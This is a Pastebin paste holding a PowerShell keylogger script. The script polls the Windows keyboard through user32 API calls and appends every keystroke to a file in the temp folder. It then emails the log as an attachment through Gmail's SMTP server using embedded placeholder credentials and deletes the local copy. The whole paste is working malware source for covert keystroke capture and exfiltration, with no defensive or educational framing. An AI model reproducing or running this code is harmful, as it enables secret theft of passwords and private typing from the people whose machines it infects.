Advertisement
Guest User

key

a guest
Jan 2nd, 2019
228
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.29 KB | None | 0 0
  1. $TimesToRun = 2
  2. $RunTimeP = 1
  3.  
  4. $TimeStart = Get-Date
  5. $TimeEnd = $timeStart.addminutes($RunTimeP)
  6.  
  7. function Start-KeyLogger($Path="$env:temp\keylogger.txt")
  8. {
  9. # Signatures for API Calls
  10. $signatures = @'
  11. [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
  12. public static extern short GetAsyncKeyState(int virtualKeyCode);
  13. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  14. public static extern int GetKeyboardState(byte[] keystate);
  15. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  16. public static extern int MapVirtualKey(uint uCode, int uMapType);
  17. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  18. public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
  19. '@
  20.  
  21. # load signatures and make members available
  22. $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
  23.  
  24. # create output file
  25. $null = New-Item -Path $Path -ItemType File -Force
  26.  
  27. try
  28. {
  29.  
  30. # create endless loop. When user presses CTRL+C, finally-block
  31. # executes and shows the collected key presses
  32. $Runner = 0
  33. while ($TimesToRun -ge $Runner) {
  34. while ($TimeEnd -ge $TimeNow) {
  35. Start-Sleep -Milliseconds 40
  36.  
  37. # scan all ASCII codes above 8
  38. for ($ascii = 9; $ascii -le 254; $ascii++) {
  39. # get current key state
  40. $state = $API::GetAsyncKeyState($ascii)
  41.  
  42. # is key pressed?
  43. if ($state -eq -32767) {
  44. $null = [console]::CapsLock
  45.  
  46. # translate scan code to real code
  47. $virtualKey = $API::MapVirtualKey($ascii, 3)
  48.  
  49. # get keyboard state for virtual keys
  50. $kbstate = New-Object Byte[] 256
  51. $checkkbstate = $API::GetKeyboardState($kbstate)
  52.  
  53. # prepare a StringBuilder to receive input key
  54. $mychar = New-Object -TypeName System.Text.StringBuilder
  55.  
  56. # translate virtual key
  57. $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
  58.  
  59. if ($success)
  60. {
  61. # add key to logger file
  62. [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
  63. }
  64. }
  65. }
  66. $TimeNow = Get-Date
  67. }
  68. $EmailTo = "xx@gmail.com"
  69. $EmailFrom = "xx@gmail.com"
  70. $Subject = "Keylogger Results"
  71. $Body = "Keylogger Results"
  72. $SMTPServer = "smtp.gmail.com"
  73. $filenameAndPath = "$env:temp\keylogger.txt"
  74. $SMTPMessage = New-Object System.Net.Mail.MailMessage($EmailFrom,$EmailTo,$Subject,$Body)
  75. $attachment = New-Object System.Net.Mail.Attachment($filenameAndPath)
  76. $SMTPMessage.Attachments.Add($attachment)
  77. $SMTPClient = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
  78. $SMTPClient.EnableSsl = $true
  79. $SMTPClient.Credentials = New-Object System.Net.NetworkCredential("xxx@gmail.com", "xxx$%");
  80. $SMTPClient.Send($SMTPMessage)
  81. Remove-Item -Path $Path -force
  82. }
  83. }
  84. finally
  85. {
  86. exit 1
  87. }
  88. }
  89.  
  90. # records all key presses until script is aborted by pressing CTRL+C
  91. # will then open the file with collected key codes
  92. Start-KeyLogger
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement